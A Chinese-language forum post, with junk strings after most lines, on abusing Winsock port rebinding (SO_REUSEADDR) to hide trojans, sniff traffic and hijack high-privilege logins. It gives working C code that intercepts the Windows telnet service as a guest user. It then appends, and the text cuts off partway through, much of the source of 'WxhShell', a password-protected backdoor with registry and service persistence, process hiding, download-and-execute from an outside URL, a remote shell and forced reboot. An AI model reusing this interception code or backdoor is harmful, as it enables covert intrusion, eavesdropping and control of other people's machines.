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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]}2)U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BEdCA]T  
O'<V[Y} 6  
  saddr.sin_family = AF_INET; >B BV/C'9  
)(iv#;ByL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g`XngRb|j  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~tDYo)hH8  
RRL{a6(?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @!8aZB3odt  
VY?9|};f  
  这意味着什么?意味着可以进行如下的攻击: c+Q'4E0 |  
T &ZQ ie/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dWAt#xII  
5ZCu6 A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CIudtY(:  
Fr9/TI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w,UE0i9I  
JJ: ku&Mb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *uvM6F$ut  
$y(;"hy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bi<<z-q`wJ  
M\ATT%b:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {,>G 1>Yv  
6u[fCGi%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3I6ocj [,  
$7x2TiAL  
  #include s8h*nZ)v  
  #include +QChD*  
  #include #:K=zV\  
  #include    gabfb#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8z=# 0+0  
  int main() 77>oQ~q  
  { 8mI(0m'  
  WORD wVersionRequested; Y;i=c6  
  DWORD ret; mZ)>^.N6  
  WSADATA wsaData; }EK{UM9y  
  BOOL val; f ULt4  
  SOCKADDR_IN saddr; '{&Q&3J_  
  SOCKADDR_IN scaddr; 1`cH EAa  
  int err; 2t= = <x  
  SOCKET s; s9 - qR_  
  SOCKET sc; ejN/U{)jK'  
  int caddsize; 9`in r.:  
  HANDLE mt; .#[ 9q-  
  DWORD tid;   N\{"&e  
  wVersionRequested = MAKEWORD( 2, 2 ); W06aj ~7Z  
  err = WSAStartup( wVersionRequested, &wsaData ); ?cU,%<r  
  if ( err != 0 ) { H$![]Ujq  
  printf("error!WSAStartup failed!\n"); ,i>`Urd  
  return -1; }7 N6n Zj`  
  } = Xgo}g1  
  saddr.sin_family = AF_INET; &:&'70Ya  
   *z0!=>(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ' zyw-1  
}(EH5jZ'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e3I""D{)[=  
  saddr.sin_port = htons(23); epy2}TI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zsL@0]e&  
  { 9+ 'i(q z  
  printf("error!socket failed!\n"); {j2V k)\[i  
  return -1; mLCD N1UO{  
  } (0-Ol9[  
  val = TRUE; \}Q=q$)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ORM>|&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YWZ;@,W  
  { HuhQ|~C+~  
  printf("error!setsockopt failed!\n"); \Y P,}_ ~  
  return -1; b8WtNVd  
  } cu!%aM,/<-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <jh4P!\&j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MN?aPpr>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uwwR$ (\7  
;[<(4v$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wgl<JO  
  { ) Sn0Y B  
  ret=GetLastError(); $xO8?  
  printf("error!bind failed!\n"); WzIUHNn'I  
  return -1; IJ^~,+  
  } atL<mhRz  
  listen(s,2); BP/nK.  
  while(1) g5V\R*{  
  { &Ok1j0~~  
  caddsize = sizeof(scaddr); 35\ |#2qw6  
  //接受连接请求 W+h2rv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]#:WL)@  
  if(sc!=INVALID_SOCKET) mx Nd_{n  
  { h}O tz "  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `/O`%6,f1!  
  if(mt==NULL) n !)$e;l  
  { 3H2~?CaJ  
  printf("Thread Creat Failed!\n"); 0jTReY-W  
  break; #p}GWS)  
  } K[[~G1Z  
  } +,e#uuj$p  
  CloseHandle(mt); 4@9Pd &I  
  } =j.TDv'^nd  
  closesocket(s); t3<MoDe7`r  
  WSACleanup(); 3$?6rMl@y  
  return 0; cBxGGggB  
  }   !M^O\C)  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tmzbh 9  
  { nI:M!j5s`  
  SOCKET ss = (SOCKET)lpParam; erH,EE^-x<  
  SOCKET sc; b RAD_  
  unsigned char buf[4096]; /,\V}`Lx"  
  SOCKADDR_IN saddr; x|O7}oj  
  long num; 5B=uvp|Y  
  DWORD val; "*d6E}wG  
  DWORD ret; \^)i!@v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a?[[F{X9^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Iz0$T.T  
  saddr.sin_family = AF_INET; 8(1*,CJQg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EBy7wU`S  
  saddr.sin_port = htons(23); $1yy;IyR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]az(w&vqg2  
  { { 4J.  
  printf("error!socket failed!\n"); "6B@V=d  
  return -1; T^v763%  
  } PaCC UF  
  val = 100; BA@E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u/=hueR<^  
  { g p:0Y  
  ret = GetLastError(); o=rR^Z$G   
  return -1; u*C*O4f>OC  
  } M7=,J;@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q5;dQ8Y ?  
  { eHr0],  
  ret = GetLastError(); N/tcW  
  return -1; E)-;sFz  
  } )r e<NE&M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f,G*e367:  
  { `~XksyT  
  printf("error!socket connect failed!\n"); ~F"S]  
  closesocket(sc); j iKHx_9P  
  closesocket(ss); ]?6wU-a  
  return -1; 8iIp[9~=  
  } /.]u%;%r[  
  while(1)  2%@tnk|@  
  { &5W;E+Pub  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T}fo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8~Kq "wrbu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e,%|sAs[  
  num = recv(ss,buf,4096,0); )7 5 7   
  if(num>0) O#)1 zD}  
  send(sc,buf,num,0); AjK5x@\  
  else if(num==0) KA2>[x2  
  break; 8pnD6Lp>  
  num = recv(sc,buf,4096,0); aC1z.?!U  
  if(num>0) OAXA<  
  send(ss,buf,num,0); $@PruY3[  
  else if(num==0) !v8R(  
  break; $Cz2b/O  
  } 4R'CL N |t  
  closesocket(ss); Ul8HWk[6Iw  
  closesocket(sc); m.lR]!Y=w  
  return 0 ; oJa}NH   
  } 2 7)If E  
505c(+  
a2P)@R  
========================================================== NjIPHM$g  
{o~TbnC  
下边附上一个代码,,WXhSHELL B $u/n  
_=HaE&  
========================================================== 71{Q#%5U~  
~Dt$}l-9  
#include "stdafx.h" %9cT#9!7  
SH)-(+72d  
#include <stdio.h> m7^f%<l  
#include <string.h> , 5W7a  
#include <windows.h> DO~ D?/ia  
#include <winsock2.h> v]EMJm6d|  
#include <winsvc.h> 4X^$"lM  
#include <urlmon.h> C3'xU`=7  
9~hW8{#  
#pragma comment (lib, "Ws2_32.lib") p{,#H/+J  
#pragma comment (lib, "urlmon.lib") y i$+rPF1  
|enLv12Gm  
#define MAX_USER   100 // 最大客户端连接数 x,C8):\t`B  
#define BUF_SOCK   200 // sock buffer LK}g<!o(  
#define KEY_BUFF   255 // 输入 buffer 2E1`r@L  
f2e;N[D  
#define REBOOT     0   // 重启 r^5%0_F]  
#define SHUTDOWN   1   // 关机 8i',~[  
p8'$@:M\  
#define DEF_PORT   5000 // 监听端口 qur2t8gnxq  
-riX=K>$  
#define REG_LEN     16   // 注册表键长度 f#z:ILG=  
#define SVC_LEN     80   // NT服务名长度 ~dS15E4-Pp  
Bz/ba *  
// 从dll定义API 7(}'jZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G2|jS@L#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r;{$x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ps'_Y<@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V 1'otQH2l  
}U8v ~wcd  
// wxhshell配置信息  v@EErF  
struct WSCFG { wN.S]  
  int ws_port;         // 监听端口 ~u&gU1}  
  char ws_passstr[REG_LEN]; // 口令 J8)l,J"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7"!`<5o^  
  char ws_regname[REG_LEN]; // 注册表键名 7<su8*?  
  char ws_svcname[REG_LEN]; // 服务名 #G#gc`S-,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +&S 7l%-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #1-WiweO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K 4GuOl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uH*6@aYPo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _0+X32HjJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GST#b6S  
*Z#OfB4}  
}; m""+ $  
x=cucZ  
// default Wxhshell configuration i D9 */  
struct WSCFG wscfg={DEF_PORT, 4'z)J1M  
    "xuhuanlingzhe", V8/4:Va7 s  
    1, Qs\a&Q=0H  
    "Wxhshell", U)G.Bst  
    "Wxhshell", e*Wk;D&  
            "WxhShell Service", b- - tl@H  
    "Wrsky Windows CmdShell Service", V;eaQ  
    "Please Input Your Password: ", opH!sa@U  
  1, *;@wPT  
  "http://www.wrsky.com/wxhshell.exe", 3RaW\cWzg  
  "Wxhshell.exe" _^W;J/He  
    }; U;W9`JT<.f  
nF'YG+;|@  
// 消息定义模块 WkXgz6 P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _tHhS@   
char *msg_ws_prompt="\n\r? for help\n\r#>"; / <)Vd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KRL.TLgq)  
char *msg_ws_ext="\n\rExit."; j{lurb)y  
char *msg_ws_end="\n\rQuit."; %M`48TW)  
char *msg_ws_boot="\n\rReboot..."; fHd[8{;P:  
char *msg_ws_poff="\n\rShutdown..."; :|n[zjK/S  
char *msg_ws_down="\n\rSave to "; HF0G=U}i  
JaUzu3*=  
char *msg_ws_err="\n\rErr!"; wF`Y ,@  
char *msg_ws_ok="\n\rOK!"; *b>RUESF  
`,6|6.8#  
char ExeFile[MAX_PATH]; $w*L' <  
int nUser = 0; 0Agse)  
HANDLE handles[MAX_USER]; <yipy[D  
int OsIsNt; F ,472H  
>OaD7  
SERVICE_STATUS       serviceStatus; &IN%2c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y'iI_cg  
4 -.W~C'Q  
// 函数声明 WGz)-IB!PE  
int Install(void); zjA]Tr  
int Uninstall(void); ]qqgEZ1!Y  
int DownloadFile(char *sURL, SOCKET wsh); ir<e^a  
int Boot(int flag); "`ftcJUd  
void HideProc(void); {A/^;X{N^  
int GetOsVer(void); 8;?4rrS  
int Wxhshell(SOCKET wsl); =sk[I0W  
void TalkWithClient(void *cs); ~1+6gG  
int CmdShell(SOCKET sock); zx%WV@O9  
int StartFromService(void); GqHW.s5  
int StartWxhshell(LPSTR lpCmdLine); 5hmfdj6  
Kkp dcc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0Ncpi=6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |^l_F1+w  
{V/>5pz4e  
// 数据结构和表定义  p?f\/  
SERVICE_TABLE_ENTRY DispatchTable[] = [uU!\xe  
{ AY5iTbL1  
{wscfg.ws_svcname, NTServiceMain}, @?<[//1  
{NULL, NULL} T)gulP  
}; KFbB}oId  
3'.@aMA@  
// 自我安装 >g<Y H'U{  
int Install(void) *:yG)J 3F  
{ EQ273sdK  
  char svExeFile[MAX_PATH]; i*=~m O8E  
  HKEY key; R1H^CJ=v0  
  strcpy(svExeFile,ExeFile); *#YZm>h   
ZjmQ  
// 如果是win9x系统,修改注册表设为自启动 d 5yEgc;z  
if(!OsIsNt) { K#+?oFo:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {|u"I@M*O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^i%S}VK  
  RegCloseKey(key); GS>[A b+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ip'tB4Mq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]i#p2?BR  
  RegCloseKey(key); nx'c=gp  
  return 0; KZjh<sjX|  
    } ~bZ =]i  
  } QP%_2m>yhl  
} r+bGZ  
else { M?lh1Yu"  
}R}+8  
// 如果是NT以上系统,安装为系统服务 U=bx30brh%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >S I'Q7k  
if (schSCManager!=0) M,fL(b;2  
{  )bF l-  
  SC_HANDLE schService = CreateService yus3GqPI  
  ( a6LL]_&g  
  schSCManager, ZwDL  
  wscfg.ws_svcname, lfj5?y  
  wscfg.ws_svcdisp, OL 0YjU@  
  SERVICE_ALL_ACCESS, w6s[|i)&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8vVE  
  SERVICE_AUTO_START, J.yM@wPS>  
  SERVICE_ERROR_NORMAL, w1G(s$;C  
  svExeFile, $/M-@3wro  
  NULL, Z i6s0Uck  
  NULL, V8/d27\  
  NULL, fLe~X!#HF  
  NULL, Z oXz@/T  
  NULL n>}Y@{<]/  
  ); (S!UnBb&  
  if (schService!=0) `2 <:$]  
  { 59oTU  
  CloseServiceHandle(schService); B2[f1IMI  
  CloseServiceHandle(schSCManager); }i!+d,|f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w||t3!M+n  
  strcat(svExeFile,wscfg.ws_svcname);  _BP%@o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^f,4=-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Axe}RD'  
  RegCloseKey(key); !}!KT(% %  
  return 0; ~3:VM_  
    } D 5rH6*J  
  } `9r{z;UQ  
  CloseServiceHandle(schSCManager); )5b_>Uy  
} 6RbDc *  
} Qbv@}[f  
I:jIChT  
return 1; /f[Ek5/-0  
} XKTDBaON  
*/e$S[5  
// 自我卸载 "\@J0 |ppb  
int Uninstall(void) Ve(<s  
{ dCoP qKy  
  HKEY key; f![] :L  
dT0W8oL  
if(!OsIsNt) { ;$iT]S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :i!fPNn  
  RegDeleteValue(key,wscfg.ws_regname); #1%@R<`  
  RegCloseKey(key); X]y8-}Qf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7 {92_xRL  
  RegDeleteValue(key,wscfg.ws_regname); STnMBz7  
  RegCloseKey(key); WVeNO,?ytS  
  return 0; !kSemDC  
  } iTinZ!Ut  
} fJ/INL   
} j9k:!|(2'  
else { STwGp<8  
&MpLm&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gg`{kN^r.a  
if (schSCManager!=0) =CFjG)L  
{ O H>.N"IG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~3 bV~H#~m  
  if (schService!=0) %$ya>0?mq  
  { N 8[r WJ#  
  if(DeleteService(schService)!=0) { X}Q4;='C-  
  CloseServiceHandle(schService); g}hUCx(  
  CloseServiceHandle(schSCManager); 1#x5 o2n  
  return 0; eA1g}ipm  
  } ~+'f[!^  
  CloseServiceHandle(schService); \Hp!NbnF$  
  } _9=87u0  
  CloseServiceHandle(schSCManager); e&x)g;bn  
} <ci(5M  
} 7;p/S#P:  
bR7tmJ[)Z  
return 1; c $1u  
} JAHg_!  
U1:m=!S;x  
// 从指定url下载文件 WuE]pm]c  
int DownloadFile(char *sURL, SOCKET wsh) _zDS-e@  
{ Tp-W/YC  
  HRESULT hr; ,C6(  
char seps[]= "/"; N[Xm5J  
char *token; r#WqXh_uk  
char *file; l0G{{R 0Y  
char myURL[MAX_PATH]; Ct `)R  
char myFILE[MAX_PATH]; O h e^{:  
(.$$U3\  
strcpy(myURL,sURL); 5{yg  
  token=strtok(myURL,seps); YQD `4ND  
  while(token!=NULL) X}'rPz\Lu  
  { `pfgx^qG  
    file=token; x9F *$G  
  token=strtok(NULL,seps); n}Z%-w$K#  
  } P\dfxR;8%  
BW;@Gq@N  
GetCurrentDirectory(MAX_PATH,myFILE); #!_4ZX  
strcat(myFILE, "\\"); ulALGzPh  
strcat(myFILE, file); J PTLh{/  
  send(wsh,myFILE,strlen(myFILE),0); J <z ^C  
send(wsh,"...",3,0); )F hbN@3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VJ#ys _W  
  if(hr==S_OK) $E[O}+L$#  
return 0; O_ r-(wE4  
else I0l3"5X a  
return 1; @8c@H#H  
iJh{ ,0))g  
} rWWp P<  
"zw{m+7f,  
// 系统电源模块 ]iTP5~8U  
int Boot(int flag) O)^F z:  
{ kR1 12J9P  
  HANDLE hToken; ]foS.D,  
  TOKEN_PRIVILEGES tkp; ,sj(g/hg  
V #vkj  
  if(OsIsNt) { 1g=T"O&=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CHS}tCfos>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y=9fuGL6  
    tkp.PrivilegeCount = 1; j(I(0Yyh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %J6>Vc!ix=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EiD41N  
if(flag==REBOOT) { 0<uL0FOT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KYkS ^v  
  return 0; 0;a10b  
} !JdZ0l  
else { UHV"<9tk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [GCaRk>b,  
  return 0; E @r &K  
} Lwtp,.)pR  
  } xX%{i0E  
  else { I RLAsb3  
if(flag==REBOOT) { N\s-{7K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y+^KVEw  
  return 0; %a8e_  
} SIM> Lz  
else { V,zFHXO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d?5oJ'JU  
  return 0; 2 .Xx)(>  
} ;|\j][A  
} nIOSP :'>  
~W"@[*6w  
return 1; a-#$T)mmfj  
} L   
i%i s<'  
// win9x进程隐藏模块 v\(6uej^  
void HideProc(void) +bso4 }rS  
{ q+qF;7dN@  
[fwk[qFa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K d#(eGe  
  if ( hKernel != NULL ) uCt?(E>  
  { LCXWpU j~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qz)KCEs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HXh:8 3  
    FreeLibrary(hKernel); M!hD`5.3  
  } /V/ )A\g  
|U'`Sc  
return; xA;)02   
} wk?i\vm  
6e|uA7i4  
// 获取操作系统版本 Z @DDuVr  
int GetOsVer(void) 5l,Lp'k  
{ wKcuIc$  
  OSVERSIONINFO winfo; {Gh9(0,B?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jc32s}/H  
  GetVersionEx(&winfo); +u |SX/C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lP4s"8E`h  
  return 1; g^:`h VV  
  else `"V}Wq ?I  
  return 0; -jNnx*  
} 1uyd+*/(xP  
B}zBbB  
// 客户端句柄模块 ;*Mr(#R  
int Wxhshell(SOCKET wsl) !gsrPM  
{ ^!O!HMX0  
  SOCKET wsh; a&kt!%p:  
  struct sockaddr_in client; J}-e9vK-#  
  DWORD myID; 4F -<j!  
$Ups9pQ  
  while(nUser<MAX_USER) i6FJG\d  
{ CG35\b;Q  
  int nSize=sizeof(client); =Y^K   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U0W2  
  if(wsh==INVALID_SOCKET) return 1; S6JWsi4C:,  
]:n9MFv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q"!GdKM  
if(handles[nUser]==0) lkp$rJ#6  
  closesocket(wsh); `.~*pT*u  
else zDm3 $P=  
  nUser++; 9 %Vy,  
  } %<|<%~l&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n%}#e!  
{QN 5QGvK  
  return 0; H:Q4!<  
} J}bLp Z  
i}f"'KW  
// 关闭 socket O#{`Fj`  
void CloseIt(SOCKET wsh) 44k8IYC*o  
{ D2Q0p(#%  
closesocket(wsh); 7uu\R=$  
nUser--; Oku7&L1  
ExitThread(0); vXM {)  
} 39 pA:3iTd  
Q7zpu/5?  
// 客户端请求句柄 N3)n**  
void TalkWithClient(void *cs) d|gfp:Z`a  
{ H4wDF:n0H  
-) +B!"1  
  SOCKET wsh=(SOCKET)cs; [T3%Xt'4  
  char pwd[SVC_LEN]; T' Jl,)"  
  char cmd[KEY_BUFF]; =RM]/O9  
char chr[1]; mYk~ ]a-  
int i,j; |~v2~   
]X X>h~0  
  while (nUser < MAX_USER) { {EVy.F  
%n,_^voE  
if(wscfg.ws_passstr) { !F Zg' 9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y34<B)Wy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5]kv1nQ  
  //ZeroMemory(pwd,KEY_BUFF); XQOM6$~,  
      i=0; }:s.m8LC5n  
  while(i<SVC_LEN) { Xe\v6gbD  
$&jVEMia  
  // 设置超时 <|E*aR|M  
  fd_set FdRead; VTX6_&Hc1g  
  struct timeval TimeOut; bq8h?Q  
  FD_ZERO(&FdRead); QM~~b=P,\  
  FD_SET(wsh,&FdRead); NE &{_i!  
  TimeOut.tv_sec=8; #7YJ87<E  
  TimeOut.tv_usec=0; oe=1[9T"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m*lcIa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :S-{a  
wq8&2(|Fc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h >Z`&  
  pwd=chr[0]; _0ZBG(  
  if(chr[0]==0xd || chr[0]==0xa) { va"bw!zXo*  
  pwd=0; 9@nd>B  
  break; *vqUOh  
  } l?xd3Z@7[  
  i++; g^jTdrW/s  
    } V8pZr+AJ  
MlbcJo3  
  // 如果是非法用户,关闭 socket Z(LTHAbBk|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /* "pylm  
} 4l> d^L  
\lwLVe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $:A80(#+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7e#|Iq:o  
C/9]TkX}q  
while(1) { CZ{7?:^f  
3m&  
  ZeroMemory(cmd,KEY_BUFF); {DUtdu[  
u&o$2 '8  
      // 自动支持客户端 telnet标准   {([`[7B>a<  
  j=0; <33,0."K  
  while(j<KEY_BUFF) { mO8/eVws[M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /*M3Ns1@2  
  cmd[j]=chr[0]; Czy}~;_Ay  
  if(chr[0]==0xa || chr[0]==0xd) { yGV>22vv M  
  cmd[j]=0; gr@Ril^  
  break; I;G(Wj  
  } tCw B 7 c-  
  j++; 7y.iXe!P  
    } Otf{)f  
vbG&F.P  
  // 下载文件 D O||o&u  
  if(strstr(cmd,"http://")) { 2,|;qFJY-@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~Jj~W+h  
  if(DownloadFile(cmd,wsh)) Tgbq4xR(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]n%+,3L  
  else 3kwkU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W|s" ;EAM  
  } M7&G9SGZ  
  else { i;29*"  
hR.vJ2oa  
    switch(cmd[0]) { 5/CF_v  
  RU>qj *e  
  // 帮助 @Q;s[Kg{!  
  case '?': { !*?9n ^PaF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @tJic|)x  
    break; O,NVhU7,  
  } >Ml5QO$*.q  
  // 安装 OF-VVIS  
  case 'i': { {:Kr't<XzF  
    if(Install()) ?|\wJrM ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B`jq"[w]-  
    else 0y+i?y 9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2n-kJl`: O  
    break; h[<l2fy  
    } GY^;$?  
  // 卸载 H4sc7-  
  case 'r': { 1<*U:W $g  
    if(Uninstall()) }WBHuVcZG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1ZZ T"'  
    else ojA!!Ru  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 64>CfU(  
    break; $~%h4  
    } 4x#tUzb;  
  // 显示 wxhshell 所在路径 lXzm)  
  case 'p': { !aL=R)G&e  
    char svExeFile[MAX_PATH]; _c5*9')-)  
    strcpy(svExeFile,"\n\r"); 4:/^.:  
      strcat(svExeFile,ExeFile); - leYR`P  
        send(wsh,svExeFile,strlen(svExeFile),0); |f.,fVVV;  
    break; XGjFb4Tw7  
    } {OOn7=  
  // 重启 v53|)]V  
  case 'b': { tE-g]y3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1xh7KBr,  
    if(Boot(REBOOT)) t% <y^Wa=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[~7fxjK-  
    else { t`>Z#=cl\  
    closesocket(wsh); 8.+ yZTg  
    ExitThread(0); :fq4oHA#  
    } Ps[#z@5{x  
    break; 25@@-2h @  
    } -~X[j2  
  // 关机 6E9/ z  
  case 'd': { XP?)x Dr8  
